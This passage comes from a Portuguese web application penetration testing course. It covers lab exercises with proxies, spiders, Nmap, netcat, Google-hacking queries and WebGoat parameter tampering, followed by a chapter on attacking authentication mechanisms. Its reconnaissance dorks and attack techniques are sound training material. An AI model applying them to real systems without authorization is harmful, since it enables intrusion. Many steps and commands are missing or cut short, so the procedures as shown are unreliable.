3. No Opera, clique em Menu, seguido de Configuraes e Preferncias. 4. Clique na aba Avanado. 5. Escolha o item Rede na parte esquerda da janela. 6. Clique em Servidores de Proxy. 7. Habilite as configuraes para o protocolo HTTP, preenchendo os campos HTTP e
Configurao do Chrome
19. Inicie o Chrome, presente no menu Aplicativos\Internet. 20. Inicie o proxy desejado. Para este exerccio, utilize o Paros, presente no menu
Aplicativos\Curso Ferramentas.
21. No Chrome, clique no cone de chave inglesa, localizado ao lado da barra de endereo e
selecione Preferncias.
22. Selecione a aba Under the Hood. 23. Role a pgina at encontrar a seo Network. 24. Clique em Change proxy settings.
Captulo 2 - Roteiro de Atividades
25. Na aba Configurao do proxy, selecione Configurao manual de proxy. 26. Selecione Usar o mesmo proxy para todos os protocolos e preencha os campos Proxy HTTP e
71
31. Limpe os check-boxes Trap request e Trap response. 32. Clique na aba History, localizada na parte inferior da tela, e veja que no h itens listados ali. 33. Retorne ao Chrome e acesse exemplo.esr.rnp.br. 34. Volte ao Paros e veja que a lista na aba History foi preenchida com as requisies efetu-
Web spiders
O objetivo desta atividade que o aluno tenha um primeiro contato com web spiders, para utiliz-los nos exerccios sobre mapeamento. Spider do Burp Suite
1. Inicie o Burp Suite, presente no menu Aplicativos\Curso Ferramentas. 2. Selecione a aba Spider. 3. Selecione a aba-filha Control e veja as opes disponveis. 4. Selecione a aba-filha Options e veja as opes disponveis. 5. Para finalizar, clique em Help e em spider help e faa uma breve leitura do contedo. 6. Encerre o Burp Suite.
Spider do Paros
1. Inicie o Paros, presente no menu Aplicativos\Curso Ferramentas. 2. Selecione a aba Spider, na parte inferior da tela, e veja as opes disponveis. 3. Clique em Analyse e em seguida em Spider. O que acontece? 4. Encerre o Paros.
Spider do WebScarab
1. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas. 2. Selecione a aba Spider e veja as opes disponveis. 3. Clique em Help e em Contents. 4. Expanda o ramo WebScarab Plugins, selecione The Spider plugin e leia o contedo apresentado. 5. Encerre o WebScarab.
Teste de Invaso de Aplicaes Web
man nmap
72
nmap localhost
4. Encerre o terminal.
Outras ferramentas
H outras ferramentas que podem ser utilizadas em testes de invaso de aplicaes web, das quais, nesta atividade, sero abordadas o Netcat, o OpenSSL e o Nikto. Netcat O roteiro abaixo emprega o Netcat para implementar um modelo cliente-servidor simples.
1. Abra uma janela de terminal. 2. Veja a documentao do Netcat:
$ man netcat
3. Digite o comando abaixo para que o Netcat escute conexes na porta 7000:
$ nc l 7000
4. Abra outro terminal. 5. Conecte-se primeira instncia do Netcat, por meio do comando:
$ nc localhost 7000
6. Digite alguns textos e veja que so refletidos no outro terminal. 7. Encerre o cliente pressionando Control+D. 8. Encerre uma das janelas de terminal.
OpenSSL
Como se sabe, o Netcat no capaz de tratar os protocolos SSL e TLS nativamente e, assim, o roteiro abaixo ilustra como o OpenSSL pode preencher esta lacuna, por meio do comando s_client.
9. Mude o foco para a janela de terminal da ltima atividade. 10. Conecte-se ao servidor w3s.esr.rnp.br, com o comando:
$ GET / HTTP/1.0
12. Role a janela para visualizar a sada do OpenSSL.
Captulo 2 - Roteiro de Atividades
Nikto
1. Mude o foco para a janela de terminal da ltima atividade. 2. Veja a documentao do Nikto:
$ man nikto
3. Encerre a janela de terminal.
73
Atividade 2 Reconhecimento
O objetivo desta atividade exercitar os diversos passos que fazem parte da etapa de reconhecimento de um teste de invaso, cujo propsito levantar o mximo possvel de informaes da aplicao alvo.
comando:
remota possibilidade desta funcionalidade estar habilitada, uma vulnerabilidade acaba de ser encontrada e precisa ser corrigida.
Google hacking
Mecanismos de busca como o do Google permitem encontrar muitas informaes sobre uma aplicao e, assim, so muito teis em testes de invaso. Nesta prtica, o aluno executar diversas consultas ao Google, para explorar as opes existentes. Para cada pesquisa, observe o total de itens encontrados, o tempo de execuo e as pginas listadas.
1. Inicie o navegador de sua preferncia e acesse www.google.com. 2. Para encontrar pginas em ingls sobre testes de invaso em aplicaes web, submeta a
seguinte pesquisa:
Teste de Invaso de Aplicaes Web
penetration testing:
vulnerability scanners
74
site:<domnio da empresa>
9. Verifique se sua empresa possui algum sistema web voltado para internet com uma
intitle:Index of
11. Para encontrar arquivos .bak, utilize a pesquisa:
intitle:Index of filetype:bak
12. Localize na internet relatrios gerados pelo Nessus:
$ nmap exemplo.esr.rnp.br
3. O comando acima apenas identificou as portas e servios do servidor, mas no exibiu
nada sobre o sistema operacional e plataformas que fornecem os servios. Isso pode ser obtido com a opo -A:
$ nmap -A exemplo.esr.rnp.br
Quantos e quais servidores web foram identificados?
ficou o sistema operacional. O motivo disso que, para essa funcionalidade ser executada corretamente, o programa deve ser executado por um usurio privilegiado. Assim, chame o Nmap via sudo e fornea a sua senha quando solicitada:
75
5. O Nmap possui uma interface grfica oficial, chamada de Zenmap. Inicie-a, a partir do
em tempo real.
8. Clique no boto Scan e aguarde at que a tarefa seja executada. 9. Analise o resultado, percorrendo as abas Nmap output, Ports / Hosts, Topology, Host Details
e Scans.
10. Feche a janela do Zenmap, mas mantenha o terminal aberto para a prxima atividade.
sobre o servidor. o mesmo que o identificado pelo Nmap? Esta tcnica robusta?
3. Repita o passo anterior para as seguintes URLs:
das respostas. Para realizar este teste, abra uma nova janela de terminal e digite o texto abaixo, finalizando com [Enter] duas vezes:
5. Repita o Passo 4, substituindo a porta 80 por 81, 8080 e 8090. 6. Houve algum problema ao realizar o teste para a porta 81? Provavelmente sim, e o motivo
que o lighttpd, na verso 1.4, somente aceita linhas terminadas pelos caracteres CR e LF, enquanto que o sistema operacional Linux adota apenas o caractere LF. Para corrigir isto, utilize a opo -C do Netcat.
7. A ltima tcnica envolve o uso do utilitrio httprint. Inicie-o a partir do menu
Aplicativos\Curso Ferramentas.
76
8. Na tabela localizada abaixo do campo Signature File, insira uma linha para cada uma das
portas no conjunto {80, 81, 8080, 8090}, com Host igual a exemplo.esr.rnp.br e com o check-box marcado. Para incluir uma nova linha, basta pressionar a tecla [Enter], quando o foco estiver em Host ou Port.
9. Clique no boto Options, desabilite a opo ICMP Enable e clique em OK. 10. Para iniciar a execuo, clique no boto que contm uma seta verde. 11. Compare o resultado com o Nmap, por meio da coluna Banner Deduced, e observe que no
foi muito satisfatrio. Esse resultado, contudo, pode ser melhorado por meio da adio de assinaturas de servidores web ao arquivo signatures.txt do httprint. A localizao deste arquivo pode ser observada no campo Signature File, que, no exerccio, aparece como um subdiretrio do drive Z, porque o utilitrio est sendo executado via Wine.
12. Selecione na tela do httprint a linha do servidor lighttpd e copie para a rea de transfe-
rncia (Control-C) a regio abaixo da tabela, contendo nome do servidor e cinco linhas em hexadecimal.
13. Abra uma janela de terminal e digite o seguinte comando, fornecendo a senha quando
solicitada:
Levantamento dos mtodos suportados pelos servidores web Neste roteiro, por meio do mtodo OPTIONS, o aluno deve identificar os mtodos suportados pelos quatro servidores web instalados na mquina virtual Fedora.
17. Abra uma janela de terminal e digite o texto abaixo, finalizando com [Enter] duas vezes:
do lighttpd.
19. Feche a janela de terminal.
Captulo 2 - Roteiro de Atividades
Deteco de hosts virtuais Nesta atividade, sero exercitados mtodos para a deteco dos hosts virtuais.
1. Inicie o navegador de sua preferncia. 2. Acesse http://dvwa.esr.rnp.br. 3. Acesse http://exemplo.esr.rnp.br. 4. Abra uma janela de terminal.
77
$ ping -c 1 dvwa.esr.rnp.br
6. Digite o comando abaixo e anote o endereo IP:
$ ping -c 1 exemplo.esr.rnp.br
7. Quando os dois endereos IP so iguais e os dois stios so acessados pela mesma porta,
significa que so hospedados virtualmente pelo mesmo servidor, que os discerne pelo nome de domnio. A desvantagem deste mtodo, porm, que nem sempre haver dois nomes de domnio diferentes disposio, para realizar o teste descrito.
8. Uma tcnica diferente, que depende de sorte para funcionar, consiste em acessar o stio
web por meio do endereo IP. Assim, considere que a aplicao alvo seja dvwa.esr.rnp.br e a acesse em um navegador web utilizando o endereo IP descoberto no Passo 5. Observe que a pgina exibida pertence ao domnio exemplo.esr.rnp.br, o que implica que a hospedagem virtual por nomes utilizada. O fator azar est relacionado chance do stio web alvo ser exatamente o host padro do servidor web. Neste caso, o teste no conclusivo.
9. Repita o exerccio anterior para os servidores web que escutam nas portas 81, 8080
e 8090 da mesma mquina. Primeiro, observe a pgina obtida pelo acesso com a URL http://exemplo.esr.rnp.br:<porta> e, em seguida, por meio de endereo IP, com a URL http://192.168.213.200:<porta>. Quais esto utilizando hospedagem virtual?
10. A ltima tcnica envolve o uso de uma ferramenta web para mapear endereos IP para
Descoberta de arquivos e diretrios Para finalizar as atividades sobre reconhecimento, o aluno executar a ferramenta Nikto para descoberta de arquivos e diretrios instalados por padro nos servidores web.
1. Inicie uma janela de terminal.
Teste de Invaso de Aplicaes Web
78
Atividade 3 Mapeamento
Nesta atividade, o aluno realizar o mapeamento de uma aplicao web, contida na mquina virtual Fedora. A ferramenta bsica que ser utilizada o web spider, para cpia local das pginas e recursos que compem a aplicao.
selecione Everything para Time range to clear, marque todos os itens em Details e pressione Clear now.
3. Inicie o Paros, presente no menu Aplicativos\Curso Ferramentas. 4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o Paros. 5. Clique no marcador Mutillidae, para acessar a aplicao. 6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e Source viewer e submeta quaisquer formulrios que forem apresentados.
7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento. 8. No Paros, percorra e analise o mapa criado na aba Sites. 9. Clique em Tools, seguido de Options.... 10. Selecione Spider na parte esquerda da janela. 11. Inclua a URL http://mutillidae.esr.rnp.br/setupreset.php em URLs to be skipped e not read. 12. Desmarque POST forms. 13. Clique em OK. 14. Selecione http://mutillidae.esr.rnp.br na aba Sites e clique com o boto direito. 15. Selecione Spider e clique em Start. O processo demorar alguns minutos. 16. Analise novamente o mapa criado na aba Sites. 17. Selecione a aba Spider, na parte inferior da tela.
Captulo 2 - Roteiro de Atividades
18. Observe que as URLs encontradas no processo de cpia so listadas no quadro inferior
da tela.
19. No encerre o Paros.
selecione Everything para Time range to clear, marque todos os itens em Details e pressione Clear now.
79
3. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas. 4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab. 5. Clique no marcador Mutillidae, para acessar a aplicao. 6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e Source viewer e submeta quaisquer formulrios que forem apresentados.
7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento. 8. No WebScarab, selecione a aba Summary. 9. Analise o mapa da aplicao, organizado em rvore, e as requisies na tabela localizada
tarefa e, assim, a nica maneira de saber que o processo terminou quando nenhum item for adicionado ou removido da tela.
15. Retorne aba Summary e analise novamente o mapa da aplicao. 16. Observe na tabela de requisies que algumas linhas com Origin igual a Spider foram
selecione Everything para Time range to clear, marque todos os itens em Details e pressione Clear now.
3. Inicie o BurpSuite, presente no menu Aplicativos\Curso Ferramentas. 4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o Burp Suite. 5. Clique no marcador Mutillidae, para acessar a aplicao.
Teste de Invaso de Aplicaes Web
6. Percorra os links Register, Login, Logout, Show log, Credits, User info, DNS
Lookup, Add to your blog, View someones blog, Browser info, Text file viewer e Source viewer e submeta quaisquer formulrios que forem apresentados.
7. Acesse pginas, diretrios e arquivos encontrados na fase de reconhecimento. 8. No Burp Suite, selecione a aba Target e a aba-filha Site map. 9. Analise o mapa da aplicao na parte esquerda da tela, a lista de requisies e os detalhes
11. Clique novamente com o boto direito sobre o item referente ao Mutillidae, selecione
15. Agora, procure pelo arquivo accounts.txt, selecione-o e observe o que ele contm. Qual a
No WebScarab
10. Retorne janela do WebScarab. 11. Selecione a aba Summary. 12. Percorra os itens do mapa da aplicao, um a um, analisando as colunas marcadas e a
Captulo 2 - Roteiro de Atividades
81
14. Role a tabela at o item com menor ID. 15. D um duplo clique sobre ele e veja que uma tela com detalhes da requisio e da res-
posta aparece.
16. Esta janela dividida em quatro sees separadas por uma barra fina, contendo setas no
lado esquerdo. Clique nas setas que apontam para baixo na primeira e terceira barras. Isto ocultar o corpo das mensagens.
17. Na seo de requisio, clique na aba Raw. 18. Percorra os diversos itens, clicando no boto Next, e, durante esta tarefa, observe os
parmetros passados em requisies GET e POST, cabealhos no padronizados e pontos em que cookies so definidos.
19. Feche a janela do WebScarab.
No Burp Suite
20. Retorne janela do Burp Suite. 21. Selecione a aba Target e a aba-filha Site map. 22. Clique na barra Filter e marque o campo Show only in-scope items. 23. Clique novamente na barra para recolher a janela. 24. Selecione a aba Request, abaixo da tabela de requisies, e a aba-filha Raw. 25. Percorra os itens do mapa da aplicao, um a um, analisando a requisio que foi reali-
links existentes nas pginas da aplicao. Veja se encontra alguma coisa interessante.
30. Feche a janela do Burp Suite.
rios. Como se sabe, tal prtica censurvel, pois, normalmente, uma tarefa trivial quebrar este tipo de mecanismo. Nos exerccios que se seguem, recomenda-se que o aluno tente traar a estratgia de explorao, antes de seguir o roteiro fornecido.
Acesso ao WebGoat
Os exerccios desta atividade sero executados no OWASP WebGoat, uma aplicao contendo vulnerabilidades propositais, para o estudo de segurana em aplicaes web.
1. Inicie o Firefox, presente no menu Aplicativos\Internet. 2. Inicie o WebScarab, presente no menu Aplicativos\Curso Ferramentas.
82
3. Selecione a aba-filha Manual Edit, sob a aba Proxy, e desmarque a opo Intercept requests. 4. No Firefox, clique no Multiproxy Switch, na barra de estado, e selecione o WebScarab. 5. Clique no marcador WebGoat e fornea guest e guest, quando usurio e senha
forem solicitados.
6. Clique em Start WebGoat.
Field Restrictions.
3. Verifique as restries definidas para cada campo do formulrio. 4. Submeta o formulrio, clicando em Submit. 5. Retorne ao WebScarab, d um duplo clique na requisio posterior identificada no
passo 1 e observe os parmetros passados via POST. Repare que o campo desabilitado no submetido ao servidor.
6. Feche a janela. 7. Clique na aba Proxy e na aba-filha Manual Edit. 8. Marque a opo Intercept requests e desmarque as demais. 9. Volte ao Firefox e pressione Ctrl+U para visualizar o cdigo-fonte. 10. Pressione Ctrl+F e digite Disabled input field:, para encontrar o campo desabilitado. 11. Anote o nome do campo, definido no elemento <input>, e feche a janela de visualizao de
cdigo-fonte.
12. Clique em Submit novamente. Uma janela aparece, contendo a requisio que ser efe-
tuada. Para alterar o valor de um parmetro, basta dar um duplo clique na coluna Value, na linha correspondente, e digitar a nova informao.
13. Clique em Insert. 14. Substitua o nome Variable pelo identificado no Passo 11. 15. Altere os seis parmetros para o valor blabla. 16. Clique em Accept changes. 17. O exerccio finalizado com sucesso e a mensagem * Congratulations. You have
Captulo 2 - Roteiro de Atividades
83
Unchecked Email.
4. Role a pgina at o final do formulrio, preencha-o e clique em Send!. 5. Veja no final da pgina apresentada o formato da mensagem submetida. 6. Retorne ao WebScarab e clique em Intercept requests. 7. Volte ao Firefox e submeta uma nova mensagem pelo sistema. Uma janela aparece, con-
teria sido encontrado na fase de mapeamento da aplicao. Isto um exemplo da importncia de no se pular etapas.
9. Altere o valor do parmetro to para friend@owasp.org.
Teste de Invaso de Aplicaes Web
10. Clique em Accept changes. 11. Role at o final da pgina e verifique que a mensagem foi enviada ao e-mail
friend@owasp.org, em vez de webgoat.admin@owasp.org. A pgina de sucesso no aparece, porque este roteiro apenas parte do esperado.
84
Bibliografia 2
1 DOUP, Adam; COVA, Marco e VIGNA, Giovanni. Why Johnny Cant Pentest: An Analysis of
Black-box Web Vulnerability Scanners. In: Proceedings of Seventh Conference on Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA 2010). Bonn, Germany, 2010.
1 HERZOG, Pete. OSSTMM 3 The Open Source Security Testing Methodology Manual
Contemporary Security Testing and Analysis. ISECOM, 2010.
1 LONG, Johnny; TEMMINGH, Roelof; STEWART, Jeff; PETKOV, Petko D. e LANGLEY, Ryan.
Google Hacking for Penetration Testers: Volume 2 a completely new volume of Google hacking techniques. Syngress, 2008.
1 MCGRAW, Gary. Software Security: Building Security In. Addison-Wesley Professional, 2006. 1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008. 1 NETMARKETSHARE. Browser market share. Disponvel em: http://marketshare.hitslink.
com/report.aspx?qprid=0. Data de acesso: 28/12/2010.
1 PCI. Payment Card Industry (PCI) Data Security Standard Requirements and Security
Assessment Procedures v. 1.2.1. PCI Security Standards Council, 2009a.
1 PCI. Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS)
version 1.2.1. PCI Security Standards Council, 2009b.
1 POSTEL, Jon. RFC 793 Transmission Control Protocol DARPA Internet Program
Protocol Specification. 1981.
1 STUTTARD, Dafydd; PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
Captulo 2 - Bibliografia 2
85
86
3
Teste do mecanismo de autenticao
objetivos
Apresentar as principais vulnerabilidades s quais esto sujeitos os mecanismos de autenticao de usurios, bem como as tcnicas que podem ser empregadas para detect-las e explor-las.
conceitos
Fatores e tecnologias de autenticao, enumerao de usurios, autenticao com mltiplos fatores, ataques de fora bruta, ataques de dicionrio, rainbow tables, poltica de senhas fortes.
Introduo
Um requisito importante de segurana da informao, que deve ser satisfeito por aplicaes web, a autenticao de entidades, isto , a corroborao da identidade da parte com a qual se comunica. Por um lado, os usurios querem ter a certeza de que esto conectados com o servidor legtimo antes de fornecerem informaes sensveis, como credenciais de acesso e docu-
mentos de projeto. Por outro, a aplicao necessita confirmar a identidade de cada usurio, para que acessos a regies protegidas sejam devidamente autorizados. O primeiro caso resolvido, normalmente, por meio do uso do protocolo HTTPS, cujas vulnerabilidades de implantao so discutidas no Captulo 9. J a autenticao de usurios ser abordada, ao longo deste captulo, com foco nos problemas de segurana que podem ocorrer. Um processo de autenticao de entidades sempre envolve a interao entre duas partes, o reclamante e o verificador, que visam, respectivamente, comprovar a prpria identidade e averiguar as provas fornecidas pelo primeiro. Nesse contexto, o reclamante pode utilizar um ou mais fatores abaixo para provar o que deseja:
1 Algo que se tem: o reclamante deve provar que possui um dispositivo fsico particular, fornecido ou cadastrado anteriormente pelo verificador. Cartelas de senhas, celulares, smart cards e geradores de senhas nicas so exemplos de tais dispositivos, os quais so comumente empregados em cenrios que requerem um alto nvel de segurana, como internet banking e declarao de Imposto de Renda.
87
1 Algo que se : nesse caso, uma pessoa prova a identidade por meio de uma caracterstica fsica ou comportamental (biometria), como ris, voz, retina, impresso digital, face, padro de digitao, assinatura manual, entre outros. Embora seja possvel utilizar esse fator em aplicaes web, no muito comum encontr-lo na prtica, pois o custo dos sensores pode ser elevado e o processo de cadastro de usurios no trivial. Quando mais de um fator empregado no processo de autenticao, diz-se que ele multifator, e, de modo geral, isso confere um nvel de segurana superior a solues que se baseiam em uma nica classe de mecanismo. Uma exceo, porm, engloba aqueles sistemas que permitem que o usurio se autentique com apenas um dos fatores contemplados e, consequentemente, a segurana equivalente ao mecanismo mais fraco do conjunto. No caso especfico de biometria, possvel utilizar mais de uma caracterstica fsica ou comportamental do usurio, para autentic-lo, o que chamado de autenticao biomtrica multimodal. Pode-se dizer que a autenticao de usurios o mecanismo de segurana mais evidente para aqueles que utilizam uma aplicao, pois ele completamente explcito e obrigatrio. Quando apresenta falhas, porm, um atacante consegue acesso ilegtimo ao sistema, seja pela porta da frente, por meio do fornecimento de credenciais vlidas, maliciosamente obtidas, ou pela lateral, evadindo ou subvertendo a implementao do mecanismo. Em qualquer dos casos, informaes sensveis da vtima podem ser comprometidas e aes,
realizadas em nome dela. Obviamente, o problema torna-se muito mais crtico caso a conta violada tenha privilgios administrativos (Meucci et al., 2008; Stuttard e Pinto, 2007). Este captulo tem por objetivo apresentar as diversas vulnerabilidades que, comumente, afetam os mecanismos de autenticao de entidades. Com isso em mente, os seguintes tpicos so cobertos: tecnologias de autenticao, uso de informaes obtidas nas fases de reconhecimento e de mapeamento, credenciais padronizadas, enumerao de identificadores de usurio, mecanismo vulnervel de recuperao de senhas, funcionalidade lembrar usurio, transporte inseguro de credenciais, falhas na implementao do mecanismo, troca de senhas vulnervel, ataque de fora bruta, ataque de dicionrio, ataque contra senhas armazenadas, polticas de senhas fortes e engenharia social.
Que tecnologias de autenticao voc encontra nas aplicaes web que utiliza?
88
1 Autenticao HTTP: baseia-se nos mtodos Basic e Digest, nativos do protocolo HTTP,
que solicitam as credenciais por meio de uma caixa de dilogo exibida ao usurio pelo navegador web. No muito utilizada em aplicaes acessveis pela internet, salvo em alguns sistemas de correio eletrnico corporativo. Possui a desvantagem de no permitir travamento de conta, aps mltiplas tentativas invlidas e sucessivas de autenticao.
NTLM ou NT LAN Manager um mtodo suportado pelos produtos da Microsoft, que utiliza Kerberos ou NTLM no processo de autenticao de usurios. Diferentemente da autenticao HTTP, primeiro tenta utilizar as informaes de conta Windows presentes no cliente, antes de solicitar as credenciais para o usurio. Como no capaz de trabalhar em conexes com proxy, nunca empregada em aplicaes web na internet.
Saiba mais
Kerberos um protocolo de autenticao de entidades, para aplicaes cliente/servidor, criado pelo Massachusetts Institute of Technology (MIT). Utiliza uma terceira parte confivel e criptografia simtrica, para corroborar as identidades das partes envolvidas e, ao mesmo tempo, estabelecer uma chave, para proteo do canal de comunicao.
89
vide Figura 3.2(a). Quando uma transao crtica, como transferncia de fundos, requisitada, a aplicao solicita que uma senha especfica da cartela e a senha geral sejam fornecidas. Se o usurio no possui a cartela correta, a chance de acerto de uma em dez mil possibilidades, o que razoavelmente seguro, quando o travamento de contas utilizado. O problema, porm, reside no fato de que adivinhao de senhas no o caminho adotado pelos criminosos. O que normalmente eles fazem induzir o usurio, por meio de engenharia social, a acessar uma pgina falsificada e fornecer todas as posies da tabela, sob pretexto de um problema ter ocorrido na base da aplicao. Infelizmente, ainda hoje, muitas pessoas so susceptveis a esse tipo de ataque!
Figura 3.1
Teclados virtuais: (a) Tradicional. (b) Com proteo contra screenlogger.
(a)
(b)
Considerando o ataque acima, uma tecnologia mais eficaz, porm mais custosa, compreende dispositivos de gerao de senhas dinmicas, as quais podem ser usadas apenas uma nica vez pelo usurio. Desse modo, a captura delas torna-se uma ameaa irrelevante, pois no possvel reutiliz-las para autenticao, por serem descartveis. Porm, como em toda soluo baseada em token, um problema surge quando a pessoa perde ou danifica o equipamento, porque ela ser impedida de utilizar a aplicao, at que aquele seja substitudo. De modo geral, esses dispositivos apresentam um visor de
LCD (Figura 3.2(b)), no qual a senha exibida, e, eventualmente, um teclado numrico para entrada de senha pessoal e desafios. Para que o usurio possa ser validado corretamente, os tokens precisam estar sincronizados com o servidor de autenticao da aplicao, o que realizado de acordo com a classe a que pertencem (Harris, 2008):
a senha pessoal, e a senha resultante calculada e exibida no visor de LCD. Para encerrar a autenticao, o valor correto deve ser fornecido aplicao, que completa a operao solicitada, somente caso a validao seja realizada com sucesso. Outra soluo interessante envolvendo tokens consiste no envio, quando necessrio, de informaes de autenticao ao aparelho celular cadastrado para o usurio. Por exemplo, ao receber uma requisio de operao crtica, a aplicao gera um nmero aleatrio de confirmao e o envia, por meio de SMS, ao telefone do cliente, que deve digit-lo em campo especfico do sistema. Para atacar uma soluo assim, necessrio, alm de obter as credenciais vlidas de um usurio, adivinhar o valor de confirmao gerado pelo
90
servidor ou ter acesso ao celular da vtima. Um problema dessa tecnologia, porm, que no h garantia de entrega de mensagens SMS, o que pode impedir a concretizao de uma transao, se o valor de confirmao no for recebido a tempo.
Figura 3.2 Tokens: (a) Cartela de senhas. (b) Dispositivo sncrono de senhas dinmicas baseado em horrio.
(a)
(b)
Embora solues baseadas em smart cards e tokens criptogrficos estejam disponveis h um bom tempo (Hamman et al., 2001), no fcil encontrar aplicaes web que as utilizem, devido ao alto custo de implantao e dificuldade de operacionalizao. Apesar disso, h um exemplo de uso dessas tecnologias no cenrio brasileiro, o site da Receita Federal, que permite realizar a autenticao do usurio por meio do e-CPF (vide Figura 3.3).
Figura 3.3 Aplicao da Receita Federal, que permite acesso via e-CPF.
O princpio bsico da autenticao por token criptogrfico consiste no protocolo de desafio-resposta ilustrado, de maneira simplificada, na Figura 3.4:
1. O usurio solicita aplicao a realizao de uma operao crtica. 2. Como resposta, o servidor envia um nmero aleatrio (desafio) ao cliente, que deve
91
6. A aplicao cliente fornece o desafio para o smart card, para gerao de assinatura. 7. O smart card assina o desafio e o devolve aplicao cliente. 8. O desafio assinado enviado ao servidor, para verificao por meio da chave pblica
cadastrada do usurio. Caso uma resposta positiva seja obtida, possvel corroborar a identidade do usurio, pois somente ele, que detm o smart card e conhece a senha de acesso, capaz de gerar uma assinatura digital vlida.
Usurio
(3) Solicita senha (5) Senha (6) Desao (7) Desao assinado (4) Senha (1) Operao crtica (2) Desao (8) Desao assinado
Smart card
Alternativamente, possvel calcular um MAC sobre o desafio, em vez de uma assinatura digital, empregando uma chave simtrica armazenada no dispositivo criptogrfico e compartilhada com a aplicao. Qual dos mecanismos escolher depende do tipo de smart card utilizado, que pode suportar apenas criptografia simtrica ou, tambm, algoritmos assimtricos. Conforme visto, uma ameaa contra sistemas baseados em senhas consiste na captura destas por meio de softwares maliciosos instalados na mquina do usurio. Embora isso tambm possa acontecer no caso das senhas de acesso s chaves criptogrficas, como elas nunca deixam o dispositivo criptogrfico, preciso roub-lo, para executar um ataque efetivo contra a aplicao. Outro cenrio hipottico, mas factvel se o token fica conectado ao ambiente o tempo inteiro, utilizar o prprio malware que captura a senha para realizar transaes fraudulentas em nome da vtima. Nesse caso, o dispositivo criptogrfico tratado como um orculo, que responde a todas as perguntas que lhe so direcionadas. Outro mtodo possvel de corroborar a identidade do usurio, porm, pouco presente em aplicaes web, emprega o prprio protocolo SSL/TLS, que permite autenticao mtua de entidades. Isso requer que um certificado digital de usurio e a chave privada correspondente, normalmente, em formato Public-Key Cryptography Standards #12 (PCKS #12), sejam inseridos no navegador web. Quando o usurio acessar uma aplicao que requeira o uso de certificado de cliente, o
Teste de Invaso de Aplicaes Web
q
PKCS #12 Padro criado pelo RSA Laboratories, para o armazenamento e transferncia seguros de chaves privadas e outras informaes sigilosas de identificao.
navegador abre uma janela solicitando que um par de chaves seja escolhido (vide Figura 3.5). Caso o servidor consiga validar o certificado apresentado, a negociao SSL/TLS completada com sucesso, e acesso a regies protegidas da aplicao concedido ao usurio. As seguintes dificuldades, pelo menos, podem ser enumeradas para a autenticao de usurio baseada no protocolo SSL/TLS:
92
Figura 3.5 Tela do Firefox solicitando escolha de certificado para acesso aplicao web.
A ltima tecnologia de autenticao a ser abordada a baseada em biometria, cujas vertentes mais simples de serem utilizadas em ambientes genricos so as de reconhecimento de face e de locutor. A razo disso que, atualmente, a grande maioria de computadores pessoais e portteis possui cmera e microfone instalados, descartando a necessidade de se adquirir equipamento caro e especializado. Esse tipo de soluo requer, como no caso de dispositivos criptogrficos, que um mdulo no lado cliente, escrito em Java ou ActiveX, por exemplo,
seja carregado e executado pelo navegador web, para controle do dispositivo de captura de
Captulo 3 - Teste do mecanismo de autenticao
1 Mtodos biomtricos precisam ser regulados para balancear as taxas de falsos positivos
e falsos negativos. Este ltimo mede a proporo de usurios vlidos que no so autenticados pelo sistema, enquanto que o primeiro avalia a taxa de pessoas, eventualmente atacantes, que so incorretamente autenticadas como outras.
93
1 Diversos mtodos de ataque foram descritos na literatura para comprometer autenticao biomtrica (Duc e Mihn, 2009; Uludag e Jain, 2004) e as principais estratgias de mitigao requerem o uso de tecnologia especial ou ferem a usabilidade do sistema.
eletrnico funcionavam dessa maneira. Felizmente, isso melhorou muito, hoje em dia, mas so poucos os que protegem a sesso inteira por meio do protocolo HTTPS, deixando, ainda, uma brecha para ataques de sequestro de sesso. Outra tcnica que pode ser empregada para quebrar o mecanismo de autenticao o ataque por fora bruta, que consiste em testar todas as senhas possveis para um conjunto de identificadores de usurio. O ponto de partida depende da enumerao de alguns usurios da aplicao, o que pode ser facilitado pelo uso de identificadores previsveis, contas pr-instaladas ou mensagens de erro detalhadas. Adicionalmente, para o sucesso da explorao, a aplicao precisa ser incapaz de travar contas, aps mltiplas tentativas invlidas e sucessivas de autenticao, alm de no implementar uma poltica de senhas fortes. Cuidados devem ser tomados para evitar que o mecanismo de autenticao seja evadido. Um deslize comum, nesse sentido, criar uma pgina de autenticao que, em caso de sucesso, redireciona o usurio para reas protegidas da aplicao, mas sem impedir o acesso direto a essas pginas. Nessa mesma linha, algumas aplicaes podem ser enganadas pela simples manipulao de parmetros. Por exemplo, um atacante pode, simplesmente, trocar o valor de um campo escondido, que indica se um usurio est autenticado, de no para sim. Ademais, se o
Teste de Invaso de Aplicaes Web
trecho de cdigo que trata a autenticao contiver erros lgicos, muito provavelmente no sero necessrias credenciais vlidas para acesso aplicao. Mecanismos de recuperao e troca de senhas podem, muitas vezes, ser um caminho para acesso no autorizado aplicao. Alguns erros que devem ser evitados no primeiro caso compreendem: utilizao de perguntas secretas com respostas fceis de serem adivinhadas; inexistncia de mecanismo de travamento por tentativas invlidas; e exibio da senha atual, caso o usurio responda corretamente s perguntas secretas. J com relao troca de senhas, ataques so possveis quando a senha antiga no solicitada, antes da realizao da operao.
94
Para finalizar, importante mencionar que o principal problema com a autenticao de usurio no de origem tcnica, mas sim de natureza humana.
Para pensar
As pessoas tendem a escolher senhas fceis de serem memorizadas, que so facilmente adivinhadas por terceiros. Quando o sistema verifica a qualidade das senhas, os usurios criam um arquivo em claro para armazen-las ou penduram um pedao de papel no monitor com o valor escolhido. Se cartes de senha so empregados, basta enviar uma mensagem de correio eletrnico, dizendo que houve um problema no sistema e que a cartela inteira precisa ser fornecida pelo usurio, para se ter acesso a todos os valores.
